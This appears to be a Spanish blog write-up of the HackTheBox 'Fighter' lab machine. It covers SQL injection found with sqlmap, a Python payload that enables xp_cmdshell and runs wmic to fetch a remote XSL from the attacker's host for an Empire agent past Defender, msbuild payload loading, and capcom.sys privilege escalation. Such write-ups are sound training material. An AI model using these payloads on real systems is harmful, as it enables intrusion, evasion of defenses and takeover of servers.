En este post haremos la máquina Fighter de HackTheBox.
Es una maquina Windows bastante complicadilla pero muy intersante para aprender nuevas formas de sacar shell en windows.
Esta es una máquina que hice con varios miembros de mi equipo de htb y sin ellos no habría sido posible este writeup
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap -sC -sV 10.10.10.72
Solo tenemos el puerto 80 asi que vamos a echarle un ojo a la web.
Como leemos en el important announcement se esta desarrollando una web nueva, pero la antigua sigue funcionando, también tenemos el dominio streetfighterclub.htb vamos a buscar el antiguo portal.
Tras varias pruebas encontramos el subdominio members.streetfighterclub.htb. Para que nos funcione debemos añadir al /etc/hosts:
10.10.10.72 members.streetfighterclub.htb
Fuzzeando encontramos: http://members.streetfighterclub.htb/old/login.asp
Tras hacer fallarnos las credenciales típicas vamos a ver si hay sqli.
Capturamos la petición con BurpSuite y usamos el Active Scan:
Tras el Active Scan detectamos una SQLi time-based en el parametro logintype.
Al ser una time-based se tarda bastante en cada ejecución de sqlmap, os pongo por ejemplo cómo seria para obtener las bases de datos:
sqlmap -r request.txt --dbms=mssql --technique=B --level 5 --risk 3 -p logintype --dbs --threads=1 --time-sec=1 --batch --flush-session
Tras un buen rato sacando los datos de la base de datos, nos damos cuenta de que no hay nada que nos pueda servir para obtener RCE.
Vamos a intentar sacar RCE a traves de la SQLi: https://www.tarlogic.com/blog/red-team-tales-0x01/
Explotacion
Después de horas intentando sacar rce por este método sin existo, dimos con la clave para bypassear el defender: starfighter_xsl del empire de Luis Vacas (que por cierto os recomiendo que lo useis, teneis modulos adicionales muy interesantes)
Para esto vamos a hacernos un pequeño script de python que haga ejecute nuestro .xsl y obtener agente de empire:
from requests import * params = {"username":"admin","password":"admin","B1":"LogIn","logintype":"1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xP_cmDshEll', 1;RECONFIGURE WITH OVERRIDE;drop table mojones;create table mojones (out varchar(8000));;insert into mojones (out) execute xp_CmdSheLl 'start wmic process get brief /format:\"http://10.10.14.7:443/wojo.xsl\"';EXEC sp_configure 'xP_cMdShelL', 0;RECONFIGURE WITH OVERRIDE;"} resp = post("http://members.streetfighterclub.htb/old/verify.asp",data=params,allow_redirects=False,cookies={"ASPSESSIONIDCQQARTCC":"OJGJBAHDGMPKEHOFHCKLKDIG"})
Vamos a migrar el empire a metasploit: https://github.com/trustedsec/nps_payload (ejemplo de uso)
cd C:\Users\sqlserv upload /tmp/msbuild_nps.xml msbuild_nps.xml C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
Post-Explotacion
Revisando los ficheros del directorio C:\Windows me fije en el fichero capcom.sys y con una simple búsqueda vi que podría servirnos para escalar a system:
De primeras vemos que este exploit no nos funciona:
Tras leer el código vemos que debemos tener una sesion x64, para esto usaremos el módulo windows/local/payload_inject
Después editamos el código del exploit para que no haga comprobaciones comentado la función check_result
Cargamos de nuevo el módulo y ya nos funcionara:
edit reload
Ya somos System pero esto aun no ha acabado, nos queda un pequeño reto de ingeniera inversa:
Vamos a abrir los ficheros con IDA PRO
Vemos que si la funcion check() devuelve 1, nos dará el flag
La funcion check() ejecutara XOR con 9 cada caracter de la variable aFmFeholH
Para reversear esto me hice un pequeño programa en C, aun que lo mas sencillo seria hacer patching
#include <stdio.h> int main(int argc, char **argv) { char aFmFeholH[15] = "Fm`fEhOl}h"; int v1; for (v1=0;v1<11;v1++) printf("%c",(*(int *) (aFmFeholH + v1) ^ 9)); puts(""); return 0; }
OdioLaFeta
Great write-up, especially the empire starfighter part.
With kind regards Jacco